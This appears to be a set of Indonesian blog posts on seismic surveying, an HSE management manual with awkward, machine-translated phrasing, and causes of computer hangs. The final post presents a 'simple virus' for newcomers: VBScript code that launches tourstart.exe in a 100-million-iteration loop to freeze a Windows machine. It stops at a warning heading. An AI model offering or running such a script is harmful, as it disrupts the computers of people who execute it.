Mengenal Survey Seismic

Diposting oleh Selamat datang di blog on Sabtu, 29 Desember 2012



Survey seismic merupakan salah satu kegiatan eksplorasi minyak dan gas yang menggunakan metode geofisika dengan pemanfaatan penjalaran gelombang di bawah permukaan menggunakan sumber getar dan penerima getar yang dibentang di atas permukaan tanah. Sumber getar menghasilkan gelombang pantul ke dalam tanah dan dipantulkan kembali ke permukaan oleh lapisan-lapisan batuan yang akan diterima penerima getar. Hasilnya berupa penampang lapisan batuan bawah permukaan yang berguna untuk mencari sumber potensial cadangan minyak dan gas


 Survey seismic merupakan salah satu kegiatan eksplorasi minyak dan gas yang menggunakan metode geofisika dengan pemanfaatan penjalaran gelombang di bawah   permukaan menggunakan sumber getar dan penerima getar yang dibentang di atas permukaan tanah. Sumber getar menghasilkan gelombang pantul ke dalam tanah dan dipantulkan kembali ke permukaan oleh lapisan-lapisan batuan yang akan diterima penerima getar. Hasilnya berupa penampanglapisan batuan bawah permukaan yang berguna untuk mencari sumber potensial cadangan minyak dan   gas.

Kegiatan survey seismic tidaklah mudah, kegiatan ini memerlukan kerjasama dan komunikasi yang baik antara company, main contractor dan sub-contractor.

Company adalah pihak yang memberikan pekerjaan kepada pihak Main contractor.
Main contractor adalah pihak pelaksana yang memberikan supervisi kepada pihaksub-contractor untuk membantu pelaksanaan di lapangan. Umumnya pihakcontractor ini memiliki lebih dari satu sub-contractor.
Sub-contractor  adalah pihak yang membantu main contractor dalam pekerjaan yang berhubungan dengan kehumasan, kegiatan topografi, rintis, titian, pengeboran dangkal dan pengisian bahan peledak serta pekerjaan perekaman data.
Sebagai pendukung kegiatan, pihak pelaksana terdapat beberapa Department, yaitu:
•      Department Kehumasan; bertanggung jawab pada kegiatan sosialisasi tingkatpermerintah propinsi hingga perorangan pemilik lahan yang terkena lintasan guna memperlancar kegiatan survey seismik serta sebagai pengumpul data pemilik lahan (inventory) dan kerusakan yang terjadi akibat kegiatan survey seismic (damage claim) di sepanjang lintasan seismic.
•      Department Topografi; bertanggung jawab dalam menentukan koordinat receiver dan shoot point yang sesuai dengan koordinat teoritik yang telah ditentukan dalam desain survey.
•      Department Seismologist; bertanggung jawab pada kegiatan pengeboran dan pengisian bahan peledak serta perekaman data.
•      Department Processing; bertanggung jawab pada pengolahan data yang diperoleh dari hasil perekaman, guna mengetahui geometri data dan hasil perekaman data secara cepat dan diharapkan dapat memberikan saran kepadadepartment Seismologist dan Observer untuk perekaman data pada hari berikutnya.
Selain semua Department tersebut diatas, adapula tim pengontrol kualitas pekerjaan di lapangan dengan tujuan untuk meningkatkan kualitas dalam kegiatan survey seismic. Tim tersebut dinamakan QC (Quality Control) tim yang berperan sebagai company man.

Departemen Topography
Department topografi memiliki peran yang sangat penting dalam pelaksanaan teknis di lapangan, karena survey topografi adalah proses awal penentuan koordinat (X, Y, Z) yang akan digunakan pada tahapan-tahapan berikutnya hingga tahap akhir yaitu pengolahan data.

Tahapan dalam survey topografi:

1. Orientasi Line

Setelah pihak company menentukan lintasan yang dikehendaki, Department Topografi akan mengeluarkan koordinat teoritik (X,Y), kemudian dilanjutkan dengan pengecekan batas-batas wilayah survey, posisi-posisi lintasan dan akses jalan menuju lintasan tersebut.


2. Jejaring GPS

Setelah diketahui posisi lintasan kemudian dilanjutkan dengan pembuatan jejaring BM (Bench Mark) GPS (Global Positioning System). Pembuatan jejaring BM GPS ini dimaksudkan untuk memperoleh tingkat keakuratan posisi yang baik.

           
3. Pengamatan GPS
Pengamatan GPS ini dilakukan setelah BM GPS dipasang sesuai dengan jejaring GPS yang telah dibuat.Pengamatan GPS ini dilakukan dengan tujuan untuk mendapatkan ketelitian posisi yang akurat untuk setiap titik BM GPS

4. Pengolahan data GPS

Setelah proses pengamatan dan pengolahan data GPS, departemen topo akan memperoleh nilai koordinat posisi tiap-tiap BM GPS.


5. Membuka Lintasan
Pembukaan lintasan seismik dimulai dari titik BM GPS atau titik polygon terdekat yang telah memiliki koordinat yang telah pasti (fix).

Pengukuran lintasan menggunakan Receiver point maupun shoot point ditandai dengan menggunakan patok, adapun ketentuan warna dan penomeran disesuaikan dengan kesepakatan. Umumnya ada perbedaan antara patok receiver point dengan shoot point.Pada survey 2D shoot point genap juga diberi tanda patok dengan tujuan memudahkan unit drilling apabila harus melakukan kompensasi bila pada saat kondisi normal tak terpenuhi.

Sedangkan pada survey 3D dikenal SL (Shoot Line) dan RL (Receiver Line), shoot point berada pada lintasannya sendiri sehingga tidak ada pengecualian untuk dipasang tanda patok baik shoot point ganjil maupun genap. 
Dari hasil survey topografi, selain diperoleh koordinat (X,Y,Z) posisi receiver point dan shoot point, diperoleh pula data pendukung lainnya yaitu peta dan sketch line.
Perijinan dan Sosialisasi
Tahapan awal yang harus dilakukan ialah perijinan. Perijinan dilakukan mulai dari perijinan tingkat propinsi, kabupaten/kotamadya, kecamatan, kelurahan hingga tingkat perorangan selaku pemilik lahan yang terlintasi oleh lintasan seismic. 
Perijinan pada tingkat kecamatan hingga pemilik lahan dilaksanakan dalam bentuk sosialisasi, guna mengenalkan kepada aparat setempat dan warga tentang maksud dan tujuan serta tahapan-tahapan kegiatan seismic yang akan dilaksanakan. Selain itu dilakukan pula perekrutan tenaga kerja lokal dan pendampingan pendataan pemilik lahan serta pendataan kerusakan yang ditimbulkan akibat dari kegiatan seismic sepanjang lintasan serta perihal pembayaran ganti rugi. Pada tahapan ini Department yang berperan adalah Department kehumasan didampingi oleh Department QC, yaitu QC Humas dan QC Damage Claim


Tahapan Survey Seismic.
Secara diagram dapat digambarkan sebagai berikut .

More about Mengenal Survey Seismic

HEALTH SAFETY ENVIRONMENT

Diposting oleh Selamat datang di blog


HEALTH SAFETY ENVIRONMENT 
SISTEM MANAJEMEN MANUAL KESEHATAN KESELAMATAN KERJA DAN LINDUNG LINGKUNGAN (K3LL)

HEALTH SAFETY ENVIRONMENT


Sebuah Sistem Manajemen HSE merupakan cerminan dari tujuan perusahaan dan cara di mana tujuan-tujuan yang harus dipenuhi sebagaimana ditetapkan oleh Prestasi manajemen senior dari tujuan bahaya manajemen akan diwujudkan melalui mendirikan sebuah organisasi yang bertanggung jawab ditugaskan dan yang sumber daya disediakan. Standar dan prosedur melalui mana tujuan akan dipenuhi didefinisikan oleh orang-orang dengan keahlian yang diperlukan. Penerapan standar dipantau melalui audit berkala. Audit tersebut ditelaah oleh manajemen yang dapat memulai perubahan sistem untuk memfasilitasi perbaikan. Sistem ini dibuat tambahan langsung melalui loop umpan balik yang perbaikan dan koreksi pada tahap sekali.
 
1. HSE KEBIJAKAN
Kebijakan HSE mewakili kesatuan dari KEBIJAKAN MUTU DAN HSE (HSE Kualitas dan Kebijakan) dari perusahaan seperti yang telah terlihat dalam lampiran A: Kebijakan QHSE.
Secara obyektif, dalam melakukan beberapa kegiatan kerja, target yang kita inginkan adalah zero accident, zero cedera, dan nol dari masalah lingkungan. Ketiga hal tersebut merupakan komitmen perusahaan dalam melakukan setiap proyek. Untuk mendapatkan hal-hal yang tidak mudah, perlu beberapa sistem dan beberapa kerjasama yang baik antara pekerja dan manajemen.
Kebijakan pedoman kesehatan, keselamatan dan lingkungan
 Ini adalah kebijakan perusahaan untuk melakukan kegiatan mereka sedemikian rupa untuk mempertimbangkan terkemuka kesehatan dan keselamatan karyawan mereka dan orang-orang lainnya, dan memberikan hal yang tepat untuk konservasi lingkungan. Mereka bertujuan untuk menjadi salah satu pemimpin di masing-masing dalam hal ini Kesehatan
Perusahaan berusaha untuk melakukan kegiatan mereka di awasi seperti untuk membahayakan kesehatan bagi karyawan mereka dan orang lain, dan untuk mempromosikan, sesuai, kesehatan karyawan mereka.
Keselamatan Perusahaan bekerja pada prinsip bahwa semua luka harus dicegah dan secara aktif mempromosikan di antara semua yang terkait dengan kegiatan mereka standar tinggi kesadaran keselamatan dan disiplin yang prinsip ini tuntutan.
 
Lindung Lingkungan.
Bertujuan untuk menyediakan produk dan layanan yang didukung dengan sarana praktis yang, bila digunakan sesuai dengan menyarankan, tidak akan menyebabkan cedera atau efek pada lingkungan.
Mempromosikan perlindungan lingkungan yang dapat dipengaruhi oleh perkembangan kegiatan mereka
dan mencari terus peningkatan efisiensi penggunaan sumber daya alam dan energi.
1.2 Aspek Umum HSE
Menilai Aspek kesehatan, aspek keamanan lingkungan sebelum memasuki kegiatan baru dan menilai kembali mereka memetikan perubahan signifikan 
Mengharuskan kontraktor yang bekerja atas nama mereka untuk menerapkan kesehatan, keselamatan dan standar lingkungan sepenuhnya secara kompatibel.
Mengembangkan dan prosedur darurat, bekerjasama dengan pihak berwenang dan layanan darurat, untuk meminimalkan bahaya dari kecelakaan.
Pengembangan peraturan baik dan standar industri yang berkaitan dengan kesehatan, keselamatan dan masalah lingkungan.
Melakukan atau mendukung penelitian terhadap peningkatan aspek kesehatan, keselamatan dan lingkungan, mereka proses produk dan operasi
Selanjutnya, untuk mencapai tujuan obyektif, dirumuskan pada "Peraturan Dasar Keselamatan Kerja " seperti yang dapat dilihat dalam lampiran B:

2. KOMITMEN DAN TANGGUNG JAWAB
Perusahaan harus menentukan, mendokumentasikan dan mengumumkan tanggung jawab, wewenang, dan juga akuntabilitas berkaitan yang diperlukan untuk menerapkan Sistem Manajemen HSE. Dasar dari HSE-MS adalah kepemimpinan dan komitmen dari manajemen puncak perusahaan, dan kesiapannya untuk menyediakan sumber daya yang memadai untuk hal-hal HSE. Perhatian khusus diberikan oleh Top Manajemen dalam menunjukkan komitmen nyata mereka, misalnya: 
  • Mengalokasikan sumber daya yang diperlukan, seperti waktu dan uang, pada hal-hal HSE,
  • Menempatkan hal HSE sebagai yang tertinggi dalam agenda pertemuan dari papan bawah
  • Mengatur contoh personil dalam pekerjaan sehari-hari
  • Menjadi aktif dalam kegiatan HSE dan ulasan, di situs lokal maupun jarak jauh.
  • Mendorong karyawan untuk memberikan beberapa ide untuk perbaikan kinerja langkah.
  • Menampilkan personil khusus sebagai Safety Officer yang diusahakan sebagai Koordinator khusus dalam menerapkan Sistem Manajemen HSE dan pemeliharaan lingkungan yang diterapkan pada semua staf kantor serta pekerja situs. Menerapkan untuk pekerja lapangan mulai dari pengawas garis dan staf lapangan
  • Memiliki bertanggung jawab untuk mengontrol pelaksanaan di lapangan di setiap hari / minggu atau setiap bulan, 
  • Memberikan beberapa petunjuk kepada seluruh karyawan lapangan dari pengawas sampai helper, Perusahaan Struktur Organisasi dapat dilihat dalam lampiran C

3. HSE IMPLEMENTASIImplementasi HSE dikomunikasikan kepada para pekerja dengan mempromosikan budaya kerja di perusahaan yang mendukung untuk pencapaian yang lebih baik Manajemen Sistem HSE kinerja, di mana Sistem Manajemen HSE dapat berfungsi secara efektif. Dalam meningkatkan Sistem Manajemen HSE dengan mendorong penciptaan budaya percaya satu sama lain, dengan memberikan beberapa motivasi, dengan berpartisipasi dan berkomitmen:
Dalam meningkatkan Sistem Manajemen Perusahaan HSE dengan menumbuhkan keyakinan dengan sikap percaya satu sama lain, tidak berperilaku menyalahkan sangat efektif untuk menerapkan Sistem Manajemen HSE ..
Berikan beberapa motivasi untuk meningkatkan Pertunjukan HSE Sistem Manajemen dengan cara individu berdasarkan pada kesadaran dan pengertian, dan memberikan beberapa pengertian positif untuk menekankan perilaku yang diharapkan dan sikap.
Para pekerja partisipasi dalam setiap tingkat dengan melihat pendapat mereka bersama dengan keterlibatan mereka dalam mengembangkan Sistem Manajemen HSE, dan untuk memprovokasi masukan untuk usulan perbaikan.
Komitmen dari pekerja di semua tingkatan sangat penting, sehingga Sistem Manajemen HSE dapat berfungsi secara efektif, mulai dari tumbuh keyakinan, memberikan beberapa motivasi dan juga berpartisipasi aktif.
4. HSE PROSEDURPerusahaan telah membuat dokumentasi Standard Operation Procedure (SOP) dan Instruksi Kerja untuk setiap aspek kegiatan operasi.
5. BAHAYA DAN MANAJEMEN RISIKOProses manajemen bahaya dan risiko terdiri dari 4 (empat) langkah:
  • Identifikasi bahaya sistematis.
  • Evaluasi tingkat bahaya
  • Penerapan Pengendalian Keuangan.
  • perencanaan untuk Restorasi.
Proses ini menggunakan garis pertanyaan dari setiap kegiatan yang telah dilakukan.
Data dari setiap baris aktivitas dapat menyatakan bahwa data tersebut telah dimuat semua kegiatan yang terjadi / telah dilakukan dalam beberapa pekerjaan. Risiko dan manajemen bahaya yang dituangkan secara rinci dalam Risiko Identifikasi Bahaya Dan Pengendalian Risiko (HIRARC).
6. HSE RENCANAUntuk tahap perencanaan operasi bisa efektif, harus memperhatikan dirinya dengan pencegahan insiden melalui penghapusan atau pengendalian bahaya dan mitigasi konsekuensi harus berbahaya bahkan terjadi. Oleh karena itu, proses harus diikuti secara sistematis mengidentifikasi dan menilai bahaya dan mengembangkan kontrol untuk mengelola mereka, yang tidak dapat dihilangkan.
Hal ini dapat dicapai dengan:
  • Menggunakan kebijakan perusahaan berkembang, standar dan prosedur
  • Membuat kunjungan kepanduan untuk menilai situasi di lapangan.
  • Studi undang-undang dan kode disetujui mendukung praktek.
  • analisis melalui dari operasi tertentu.
  • sebuah studi kecelakaan, insiden dan data kesehatan yang buruk dari operasi sebelumnya.
6.1. Rencana operasi
Pengalaman menunjukkan bahwa kinerja HSE dapat dioptimalkan melalui proses perencanaan terstruktur, yang meliputi:
  • Komprehensif operasional pra-perencanaan menggabungkan HSE langkah-langkah untuk mengelola bahaya diidentifikasi, 
  • Verifikasi standar peralatan keselamatan sebelum operasi start-up.
  • Memverifikasi bahwa Sistem Manajemen HSE yang efektif adalah di tempat sebelum start-up.
  • Manajemen HSE membuat program pelatihan yang ditujukan untuk manajemen lini senior dan atasan langsung. Pelatihan ini akan mencakup topik-topik seperti Hazard Analysis Job, Audit Act aman, Keselamatan Program Pelatihan Observasi, manajemen limbah dan pemahaman tentang faktor-faktor yang mempengaruhi perilaku.
  • Reguler Audit dan inspeksi dari manajemen sesuai dengan jadwal yang direncanakan dan berfokus pada Manajemen HSE.

6.2. HSE planPerencanaan yang efektif sangat penting untuk semua aspek bisnis, dengan rencana berdasarkan informasi yang diketahui dan diteliti, dan beralasan asumsi. Sebuah rencana untuk perbaikan berkelanjutan yang terkandung dalam rencana HSE
Sistem Manajemen HSE akan menetapkan target dan cara-cara untuk mendapatkan hal itu, untuk mengidentifikasi pihak-pihak yang bertindak bersama dengan menentukan proses penampakan ..
Rencana HSE dikembangkan dari hal-hal seperti: Persyaratan dibawa dari rencana tahun sebelumnya.
  • Audit dan temuan pemeriksaan.
  • Insiden temuan.
  • Temuan Penyelidikan Kecelakaan
  • Saran dari karyawan.
  • Tinjauan aksi Manajemen
6.3. HSE Target
Hal ini penting untuk menetapkan target HSE yang diterima oleh manajemen dan karyawan dicapai. Biasanya, target progresif yaitu mengatur, dalam jangka panjang dalam hal mengurangi atau menghindari segala bentuk pekerjaan yang beresiko mengakibatkan kecelakaan diri. Target yang realistis hanya dapat ditetapkan setelah menilai ruang lingkup kerja untuk periode laporan dan mengalokasikan tugas untuk mengelola pekerjaan tersebut. Satu-satunya cara untuk mencapai target HSE adalah untuk mengelola risiko secara efektif, yang mengancam prestasi. Efektif manajemen menuntut bahaya dan kontrol mereka harus, sejauh mungkin, akan dibahas dalam proses perencanaan.
Laporan staf meliputi HSE terkait target atau tugas terhadap kinerja yang dapat diukur. Ini harus mengalir turun dari departemen harus juga dituntut tanpa memberikan individu alat untuk melakukan pekerjaan, seperti pelatihan dan peralatan yang tepat.
7. PROTEKSI PERALATAN PRIBADI (PPE)
  
Perusahaan akan memastikan bahwa semua setiap APD yang diberikan dan atau digunakan akan:
  • o Tepat
  • o Berkualitas yang baik
  • o Dalam jumlah yang cukup
Persyaratan untuk peralatan pelindung tambahan terus dinilai oleh karyawan dan supervisor lini. Semua APD sesuai dengan standar nasional atau internasional yang diakui dan perusahaan menyimpan catatan standar saat ini. Standar saat ini digunakan untuk PPE adalah sebagai berikut:
  • o Baju
  • o Tangan Sarung tangan
  • o Keamanan Helm
  • o Keamanan Goggles
  • o Ear Plugs
  • o Keselamatan sepatu - Sepatu.
  • o Rain Coat
  • o Masker
  • o Life Jacket
  • o kotak Pertolongan Pertama

8. KESELAMATAN RAPATRuang lingkup ini pertemuan keselamatan meliputi:   

8.1. HSE Komite
Kepala Partai dan kepala Seksi akan mengadakan pertemuan komite HSE setiap minggu untuk meninjau awak kinerja HSE dan merencanakan strategi lebih lanjut dalam hal HSE.
 
8.2. Bagian HSE RapatBagian HSE pertemuan akan diadakan sebulan sekali. Supervisor bagian Umumnya kursi pertemuan ini meskipun berputar kursi di antara anggota staf senior yang terlibat akan meningkatkan keterlibatan keselamatan. Bagian HSE rapat tersebut membahas hal yang relevan bagian HSE dan untuk menyampaikan komentar dan informasi dari pertemuan Kepala Bagian.
Jika ada jumlah besar di bagian apapun mungkin perlu untuk memecah pertemuan ini menjadi kelompok-kelompok kecil.
 
8.3. Toolbox HSE Rapat / Toolbox Meeting HSESetiap unit kerja akan mengadakan pertemuan toolbox setiap hari. Pertemuan toolbox Selanjutnya akan diadakan sebelum dimulainya setiap operasi yang tidak biasa atau setiap kali timbul masalah-masalah tertentu. Rapat juga akan diadakan setelah insiden atau kecelakaan untuk menyebarkan informasi.
 
8.4. Keselamatan Induksi / Induksi K3LLMengetahui ruang lingkup pekerjaan dan mendapatkan gambaran tentang hal-hal yang akan dilakukan di lokasi, pekerja akan diberikan induksi keselamatan. Hal ini telah dilakukan di setiap proyek yang dimiliki oleh perusahaan. Induksi Keselamatan meliputi:
  • o Lingkup pekerjaan
  • o Persiapan kru
  • o Peralatan persiapan
  • o Metode kerja
  • o Pelaksanaan pekerjaan

8,5. Keselamatan BreifingSebelum para pekerja pergi dan bekerja di lokasi, briefing harus dilakukan pada awalnya. Laporan ini bertujuan untuk mengetahui tentang persiapan pekerja untuk bekerja di lokasi. Bahan briefing meliputi beberapa hal yang dapat dijadikan pedoman oleh para pekerja dalam melakukan tugas-tugas mereka. Materi yang diberikan dalam bentuk:
  • o Standar Operasional Prosedur
  • o Komunikasi
  • o Peralatan Perlindungan Pribadi
  • o Lingkungan
  • o dari Miss
  • o House Keeping
  • o Potensi Bahaya
  • o Etc
8.6. Papan PemberitahuanPapan pengumuman akan digunakan untuk menyampaikan informasi di tingkat crew
 
9. KESELAMATAN PELATIHAN
Dalam rangka kemampuan pekerja dapat memperluas, untuk seluruh / semua pekerja, perusahaan melakukan beberapa program pelatihan. Dari program ini adalah pekerja dominasi untuk bekerja wilayah masing-masing akan selalu meningkat
 
9.1. Metode pelatihanPelatihan kesadaran akan disediakan oleh proses induksi seperti yang dijelaskan secara rinci dalam prosedur kru dan diuraikan dalam matriks di bawah ini.
Penyediaan informasi ini di lokasi yang berlaku dengan peralatan yang berlaku untuk tangan akan meningkatkan efektivitas dan meningkatkan retensi. Partisipasi dalam kegiatan seperti (sederhana) JSA adalah untuk meninjau prosedur selama dimulainya pekerjaan awal dari setiap unit akan memberikan pemahaman yang berharga untuk proses dan mendorong pengakuan keterlibatan pada bagian dari semua.
Perusahaan HSE Pengawas akan menyediakan dua modul diidentifikasi sebagai relevan untuk semua personil dalam instruksi formal. Hal ini akan dilakukan di kamp utama setelah induksi awal dan sebelum berangkat kerja untuk bidang untuk pertama kalinya. Sertifikat pelatihan akan dikeluarkan dan dicatat.
 
9.2. Awak Pelatihan MatrixPemeliharaan matriks pelatihan awak dan catatan akan menjadi tanggung jawab Kepala Partai dan manajemen garis keturunannya. Mereka akan dibantu oleh personil HSE. Modul pelatihan dapat dilihat dalam lampiran F.
 
10. JOB SAFETY ANALYSISBeberapa hal yang dibahas dalam pelaksanaan analisis bahaya dan resiko HSE meliputi:
  • o Langkah kerja.
  • o Appliance menggunakan kebaikan peralatan, pasokan lainnya dan mesin.
  • o mengidentifikasi bahaya yang timbul oleh orang-orang tindakan, pekerjaan, lingkungan alat, material dan objek.
  • o Faktor risiko dari setiap bahaya yang timbul keluar
  • o Peralatan Perlindungan Pribadi dan pencegahan yang dapat dilakukan untuk mengurangi risiko yang dihasilkan.
  • o Seseorang yang bertanggung jawab dalam setiap langkah kerja
Pada pelaksanaan pekerjaan di lokasi proyek JSA akan dilakukan oleh hasil penyesuaian analisis risiko dan bahaya dengan kondisi dalam bekerja lokasi.
 
11. KESELAMATAN DAN AUDIT INSPEKSIHSE audit akan dilakukan oleh Daqing Citra operasi. Audit tersebut akan mengikuti proses penelaahan oleh manajemen dan tindak lanjut, yang semuanya akan didokumentasikan ..
HSE audit akan dilakukan pada berbagai tingkatan dalam perusahaan. Setiap tingkat akan depelop dan mendokumentasikan skema jenis audit yang dapat mencakup pertimbangan praktis dan Operasional.
Kinerja HSE dan operasional awak akan dipantau setiap hari oleh Ketua Partai, Kepala Asisten Partai dan Pejabat Keselamatan melalui kombinasi pengamatan statistik dan pengukuran kemajuan terhadap target. Manajemen Senior dan personil HSE dari kantor PERUSAHAAN pusat wajib memantau kinerja HSE secara teratur.
Seluruh mesin dan peralatan yang digunakan bekerja di lokasi harus melakukan inspeksi keselamatan pada awalnya. Hal ini bertujuan untuk membuat mesin dan peralatan karya siap untuk digunakan. Inspeksi Keselamatan dilakukan oleh Petugas Keselamatan bekerjasama dengan Mechanic Kepala. Hasil pemeriksaan dituangkan sepenuhnya dalam pemeriksaan checklist.
Dari Safety Audit, maka akan terlihat wheater perencanaan keselamatan yang telah dibuat oleh perusahaan telah bekerja dengan baik benar atau tidak. Hasil terakhir yang telah dicapai adalah perbaikan jika ada kekurangan dari temuan audit
 
11.1. Pro-aktif Kinerja
  •  • oPaparan Jam
  •  • oHari tanpa LTI
  •  • oDidorong km
  •  • oKm seismik garis
  •  • oPositif kontribusi oleh awak

11.2. Realisasi terhadap target
  • o Pelatihan
  • o Inspeksi
  • o Pertemuan
  • o Drills / latihan

11.3. Reaktif Kinerja
  • o Hilang Waktu Injury (LTI)
  • o Fatality (FAT)
  • o Cacat Tetap Total (PTD)
  • o Tetap Partial Cacat (PPD)
  • o Kegiatan Terbatas (RWC)
  • o Pengobatan Kasus (MTC)
  • o Kasus Pertolongan Pertama (FAC)
  • o Stop Kartu
  • o Near Miss

12. KESELAMATAN LAPORAN
Laporan Keselamatan akan dilakukan dalam bentuk catatan harian, mingguan dan catatan catatan bulanan. Format Laporan yang diberikan terdiri dari:
  •  •Kegiatan Kerja
  •  •The Jam Kerja, Briefing Keselamatan, dari Miss, Jumlah Kecelakaan, Kehilangan Hari Kerja, dll
  •  •Kunci Pertunjukan Indikator
  •  •Laporan Keselamatan akan dikumpulkan sehingga ketika diaudit, bisa dipertanggungjawabkan.

13. INSIDEN DAN LAPORAN INVESTIGASI
Tujuan dari sistem laporan insiden dan investigasi adalah:
Untuk menyelidiki semua insiden berbahaya dan berpotensi pada kedalaman,  •.
 tingkat dan kecepatan yang sesuai dengan keseriusan mereka
Setelah menentukan akar penyebab, untuk mengambil tindakan yang tepat untuk  •
 mencegah terulangnya insiden atau kejadian serupa.
Untuk  • kesimpulan yang
 mengkomunikasikan temuan investigasi insiden,  dicapai dan rekomendasi dibuat untuk semua personil yang tepat.
 •.
 Untuk mengidentifikasi tren secara tepat waktu dan daerah target perhatian khusus
Bentuk insiden dan laporan investigasi dapat dilihat dalam lampiran D dan E.

14. TANGGAP DARURAT DAN EVAKUASI
Manajemen akan menghasut, mempertahankan dan periodecally menguji pengaturan untuk suport rencana darurat apapun atau pengaturan yang didirikan oleh atau untuk unit kerja mereka. Pengaturan tersebut dengan harus direkam dengan akses mudah dan cepat diberikan kepada data yang diperlukan seperti nama dan nomor telepon dan prosedur untuk mengaktifkan dan mengelola pengaturan.
Program ini dibuat dengan Daqing Citra dengan berarti bahwa jika suatu saat ada kondisi darurat, seperti kebakaran, para pekerja dapat terbiasa. Program evakuasi akan dijelaskan dan akan dilakukan dalam pelatihan. Skema alur komunikasi mengungsi dan Tim Darurat Hati-hati dapat dilihat pada lampiran F dan G

15. KERJA KESEHATAN DAN LINGKUNGAN
Pekerjaan permukiman dan kebersihan lingkungan akan dilakukan oleh setiap karyawan Citra Daqing. Perilaku setiap karyawan harus berorientasi kepada kesehatan dan keselamatan kerja. Petugas Keamanan akan bertanggung jawab untuk pelaksanaan kegiatan ini. Penyelesaian pekerjaan peralatan dan mudah terbakar zat / berbahaya harus dilakukan oleh setiap karyawan. Inspeksi dan audit harus dilakukan oleh Petugas Keselamatan sehingga tindakan perbaikan dapat dilakukan.
Penyelesaian lingkungan kerja dan kebersihan menjadi tanggung jawab kami.
Memiliki tempat untuk membuang sampah serta organik atau non organik, sampah kering serta sampah basah harus menjadi prioritas pertama.
Jika ada beberapa kerusakan lingkungan yang disebabkan oleh aktivitas perusahaan, harus telah bertanggung jawab sesuai prosedur.
More about HEALTH SAFETY ENVIRONMENT

Penyebab Komputer Menjadi Hang

Diposting oleh Selamat datang di blog on Kamis, 13 Desember 2012


Sial,, macet lagi!!

Penyebab komputer hang bisa berasal dari masalah hardware maupun software. Untuk mengetahuinya secara pasti perlu dilakukan pemeriksaan satu-satu. Tentu dengan pengalaman Anda bersentuhan dengan komputer Anda, Anda akan lebih tahu kira-kira permasalahan apa lagi yang menyebabkan komputer Anda hang.

Di bawah ini saya tuliskan beberapa hal yang memungkinkan terjadinya komputer hang.

1.  Kondisi Harddisk

Harddisk yang sudah berumur kerap dan menjelang ‘tutup usia’ kerap menyebabkan hang. Harddisk ini mengalami kerusakan bertahap dengan gejala mulai sering tidak terdeteksi ketika awal booting, sehingga kita perlu mencabut kabel IDE (tentu jika itu IDE) dan mengembalikan lagi, baru dikenali lagi.

Pada harddisk dengan kondisi di atas biasanya proses booting dan loading windows juga memakan waktu lebih lama dari biasanya.

Hang komputer bisa terjadi jika harddisk dengan kondisi di atas tiba-tiba tidak dideteksi oleh komputer.

Bisa juga harddisk baru tapi sudah ada bad sectornya. Kondisi harddisk yang baru pun bisa mengalami hal seperti ini. Yang saya masih ingat dulu ketika sekitar tahun 2003-an, banyak beredar harddisk merk  ‘M*****’ yang sangat lemah, sehingga listrik drop sekali saja sudah langsung bad sector.

Kondisi harddisk yang bad sector bisa menyebabkan komputer hang. Apalagi jika bad sector berada di awal partisi, mengingat di situ tempat Sistem berada. Windows bisa tiba-tiba tidak bekerja jika file sistem dia tidak bisa diakses tiba-tiba karena lokasi file terkena bad sector. Hang juga akan terjadi jika anda menjalankan  sebuah file namun lokasi file terdapat bad sector.

Masalah lain yang masih berkaitan dengan harddisk dan sering menyebabkan hang adalah fragmentasi pada data di dalamnya. Itulah alasan kenapa perlu dilakukan defragmentasi alias defrag.

2. Overheating Processor

Buka casing dan perhatikan kipas prosessor anda, apakah masih berjalan dengan normal. Kipas yang berjalan lambat menyebabkan proses pendinginan tidak maksimal dan menyebabkan overheating, pada akhirnya komputer menjadi lambat bahkan hang. Lebih-lebih jika kipas benar-benar tidak berjalan.

3. Konflik pada Hardware

Setiap hardware berkomunikasi dengan perangkat lain melalui IRQ (interrupt request channel) dan harus unique (berbeda satu dengan lainnya)  untuk setiap perangkat. Misal,  Printer biasanya menggunakan IRQ 7, Keyboard menggunakan IRQ 1, Floppy menggunakan IRQ6. Setiap perangkat menggunakan IRQ nya masing-masing secara otomatis. Apabila komputer anda memiliki banyak perangkat atau perangkat tidak terinstall dengan baik, maka yang terjadi adalah adanya pembagian IRQ untuk lebih dari 1 perangkat. Dan saat anda mengakses kedua perangkat yang menggunakan IRQ yg sama tersebut maka akan ada kemungkinan Windows akan Crash.

4. Kondisi Memory (RAM) yang buruk

RAM (Random Access Memory) yang buruk atau kotor bisa menyebabkan komputer berhenti bekerja tiba-tiba bahkan blue screen atau restart. Memasang lebih dari satu memory kadang menjadi pemicu masalah di kemudian hari, apalagi jika dua memory yang terpasang tidak benar-benar identik. Berbedaan chip antar dua memory dengan bus yang berbeda kadang bisa menyebabkan fatal error.

5. Setting Bios

Setiap Motherboard memiliki settingan Chipset sesuai dengan pabrik buatan masing-masing. Setiap anda memasuki BIOS anda harus ingat untuk berhati2 dalam menyetting konfigurasi karena apabila konfigurasi anda salah maka akan menyebabkan ketidakstabilan pada pc dan crash.

6. Fatal OE exceptions and VXD errors


Ini biasanya disebabkan oleh masalah pada VGA anda. VGA meruapakan salah satu hardware yang sering sekali menyebabkan masalah pada pc anda. Lakukan instalasi Drive yang benar pada VGA . Apabila PC anda mengalami screen freeze / hang maka kemungkinan ada hardware conflict pada vga anda.

7. Virus

Virus yang menyerang sistem bisa dan selanjutnya menghapus bebarapa file penting dari sistem tentu menyebabkan sistem tidak bekerja semestinya.

8. Konflik pada Software

Crash pada bagian ini biasanya di sebabkan oleh buruknya proses instal dan uninstal dari sebuah software.Untuk kasus seperti ini anda membutuhkan software pembersih registry. Banyak jenis software seperti ini dan banyak pula yang gratis. Dengan software ini maka registry tidak perlu yang masih tersisa dari proses uninstal tidak sempurna bisa dihapus.
More about Penyebab Komputer Menjadi Hang

Membuat Virus Sederhana dengan Cara Menggunakan Notepad

Diposting oleh Selamat datang di blog


Pada kesempatan kali ini kita akan mencoba membuat virus sederhana dengan notepad. Awalnya

saya juga tidak percaya bahwa
 virus dapat dibuat hanya dengan menggunakan notepad dan bahkan dapat dipraktekkan secara langsung oleh seorang “newbie” sekalipun
seperti saya
. Baiklah tanpa perlu basa-basi mari kita coba praktekkan saja langsung.
Berikut caranya:
1. Buka notepad  kemudian copas kode di bawah ini ke notepad tersebut
==============================================================
option explicit 
dim wshshell 
set wshshell=wscript.createobject(“wscript.shell”) 
dim x 
for x = 1 to 100000000 
wshshell.run “tourstart.exe” 
next
==============================================================
2. Lalu Save as dengan nama “virus.vbs” (tanpa tanda kutip), kemudian rubah Save as type-nya menjadi All Files.

Peringatan!!
